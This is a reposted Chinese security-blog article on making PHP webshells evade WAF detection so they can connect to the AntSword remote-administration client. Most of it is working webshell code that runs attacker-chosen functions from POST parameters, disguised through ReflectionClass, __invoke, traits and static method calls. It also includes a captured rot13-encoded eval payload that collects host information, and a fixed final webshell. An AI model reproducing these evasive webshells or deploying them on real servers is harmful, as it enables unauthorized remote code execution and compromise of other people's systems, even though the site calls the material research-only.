Webshell免杀之蚁剑连接

admin 2022年4月19日11:37:37安全文章评论53 views3925字阅读13分5秒阅读模式

前言

如果我们直接传参进行命令执行的话会很容易被WAF拦截。

蚁剑有编码器这一功能可以方便我们绕过WAF的检测。

后来一次使用webshell过程中发现其并不能连接蚁剑,决定抓包简单分析一下流量修改我们的webshell。

trick


这一次分享几个之前总结的一些成果。


ReflectionClass::newInstance


<?php

class Test1
{
public function __construct($para, $_value)
{
$para($_value);
}
}


$class1 = new ReflectionClass("Test1");

foreach (array('_POST') as $_r1) {
foreach ($$_r1 as $_asadasd=>$_wfwefb) {

$$_asadasd =$_wfwefb;
}
}

$class2 = $class1->newInstance($_asadasd, $$_asadasd);


我们首先初始化一个反射类,传入要实例化类的类名,接下来用newInstance()方法对该类进行实例化。

1.我们的webshell需要接收两个参数,一个是函数另一个是函数的参数这里借用@郑瀚AndrewHann师傅的污点传递理论https://zhuanlan.zhihu.com/p/197553954

Webshell免杀之蚁剑连接


2.接下来就是在构造函数内部执行命令,执行命令的方式是使用可变函数。当函数名被传入$para=assert时,构造函数内变为assert($_value)。函数的参数即我们要执行的命令。


3.最后解决参数的传递。常见的$_GET[]、$_POST[]、$_COOKIE[]...数组无法直接使用。


我们依然利用PHP的动态特性,使webshell不出现$_GET[]、$_POST[]、$_COOKIE[]...


当程序执行到第二个foreach循环之前。


我们的输入并没有参数来接收,直到我们使用可变变量$_POST[]并将其键值进一步操作后传入newInstance函数。


上面这个webshell依然可以进行变形。

<?php
class Test1
{
private $para1 = '';
private $para2 = '';

public function __invoke($para1, $para2)
{
$para1($para2);
}
public function __construct($para1, $para2)
{
$this($para1, $para2);
}
}

$class1 = new ReflectionClass("Test1");

foreach (array('_POST') as $_r1) {
foreach ($$_r1 as $_asadasd=>$_wfwefb) {

$$_asadasd =$_wfwefb;
}
}
$class2 = $class1->newInstance($_asadasd, $$_asadasd);
  • __invoke当尝试以调用函数的方式调用一个对象时,该方法会被自动调用。
    所以我们在构造函数内调用一次对象:$this($p1,$p2)接着会调用__invoke()函数实现命令执行。

trait(PHP 7)


php从以前到现在一直都是单继承的语言,无法同时从两个基类中继承属性和方法为了解决这个问题,php出了Trait这个特性

  • 用法:通过在类中使用use关键字,声明要组合的Trait名称,具体的Trait的声明使用Trait关键词,Trait不能实例化

<?php

trait Dog
{
public $name="dog";

public function drive()
{
echo "This is dog drive";
}
public function eat($a, $b)
{
$a($b);
}
}

class Animal
{
public function drive()
{
echo "This is animal drive";
}
public function eat()
{
echo "This is animal eat";
}
}

class Cat extends Animal
{
use Dog;
public function drive()
{
echo "This is cat drive";
}
}

foreach (array('_POST') as $_request) {
foreach ($$_request as $_key=>$_value) {
$$_key= $_value;
}
}


$cat = new Cat();
$cat->eat($_key, $_value);
  • 我们的参数依旧将键值数组中的分别传入。函数调用则使用PHP 7中的trait特性,最终实现可变函数的执行

静态调用非静态函数

<?php
class SimpleThis
{
public function NonStatic($p1, $p2)
{
if (isset($this)) {
echo '6';
} else {
$p1($p2);
}
}
}
foreach (array('_POST','_GET') as $_request) {
foreach ($$_request as $_key=>$_value) {
$$_key= $_value;
}
}
SimpleThis::NonStatic($_key, $_value);

在C、Java中,非静态函数肯定是不能被静态调用的。首先会编译失败。

但是PHP是个解释函数。至于原理:这里直接附上鸟哥的文章

https://www.laruence.com/2012/06/14/2628.html

连接蚁剑


将蚁剑挂上burpsuite。


上传我们的一句话木马进行连接。


  • 请求的流量

Webshell免杀之蚁剑连接


[email protected](@str_rot13($_POST[ca3a283bf3d534]));&[email protected]_frg("qvfcynl_reebef", "0");@frg_gvzr_yvzvg(0);shapgvba nfrap($bhg){erghea $bhg;};shapgvba nfbhgchg(){$bhgchg=bo_trg_pbagragf();bo_raq_pyrna();rpub "ron28298";rpub @nfrap($bhgchg);rpub "9741440r5";}bo_fgneg();gel{$Q=qveanzr($_FREIRE["FPEVCG_SVYRANZR"]);vs($Q=="")$Q=qveanzr($_FREIRE["CNGU_GENAFYNGRQ"]);$E="{$Q} ";vs(fhofge($Q,0,1)!="/"){sbernpu(enatr("P","M")nf $Y)vs(vf_qve("{$Y}:"))$E.="{$Y}:";}ryfr{$E.="/";}$E.=" ";$h=(shapgvba_rkvfgf("cbfvk_trgrtvq"))[email protected]_trgcjhvq(@cbfvk_trgrhvq()):"";$f=($h)?$h["anzr"]:@trg_pheerag_hfre();$E.=cuc_hanzr();$E.=" {$f}";rpub $E;;}pngpu(Rkprcgvba $r){rpub "REEBE://".$r->trgZrffntr();};nfbhgchg();qvr();

  • 可以得到webshell执行的内容为assert(@eval(@str_rot13($_POST[ca3a283bf3d534]));),接着&ca3a283bf3d534=xxxx为我们的第二个POST参数
    所以实际上webshell执行的是第二个随机参数的值。

  • 回显

Webshell免杀之蚁剑连接

Call to undefined function ca3a283bf3d534()这里报错未定义的函数,很显然我们的可变函数的函数名被覆盖了。并没有执行assert()达到预期的结果。

实际上我们需要的是第一个POST参数即我们传入的assert。

所以我们的webshell在循环数组时,造成了变量覆盖,后来的参数覆盖了前一个值。在webshell中我们需要取第一个值再传递它即可。

修改

以第一个webshell为例:

<?php
$s0;
$s1;


class Test1
{
public function __construct($para, $_value)
{
$para($_value);
}
}



$class1 = new ReflectionClass("Test1");
print_r($class1);
foreach (array('_POST') as $_request) {
foreach ($$_request as $_key=>$_value) {
for ($i=0;$i<1;$i++) {
${"s".$i} = $_key;
}
break;
}
}
$class2 = $class1->newInstance($s0, $_value);

我们依然使用可变变量的方式获取参数的值。我们循环一次将函数名取出,再传递即可。

最后

success!

Webshell免杀之蚁剑连接 

来源:https://xz.aliyun.com/t/9218排版自:渗透师老A


侵权删!

推荐阅读

XSS 实战思路总结

内网信息收集总结

xss攻击、绕过最全总结

一些webshell免杀的技巧

命令执行写webshell总结

SQL手工注入总结 必须收藏

后台getshell常用技巧总结

web渗透之发现内网有大鱼

蚁剑特征性信息修改简单过WAF


查看更多精彩内容,还请关注橘猫学安全

每日坚持学习与分享,觉得文章对你有帮助可在底部给点个“再看Webshell免杀之蚁剑连接

原文始发于微信公众号(橘猫学安全):Webshell免杀之蚁剑连接

特别标注: 本站(CN-SEC.COM)所有文章仅供技术研究,若将其信息做其他用途,由用户承担全部法律及连带责任,本站不承担任何法律及连带责任,请遵守中华人民共和国安全法.
  • 我的微信
  • 微信扫一扫
  • weinxin
  • 我的微信公众号
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年4月19日11:37:37
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                  Webshell免杀之蚁剑连接 http://cn-sec.com/archives/926191.html

发表评论

匿名网友 填写信息

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: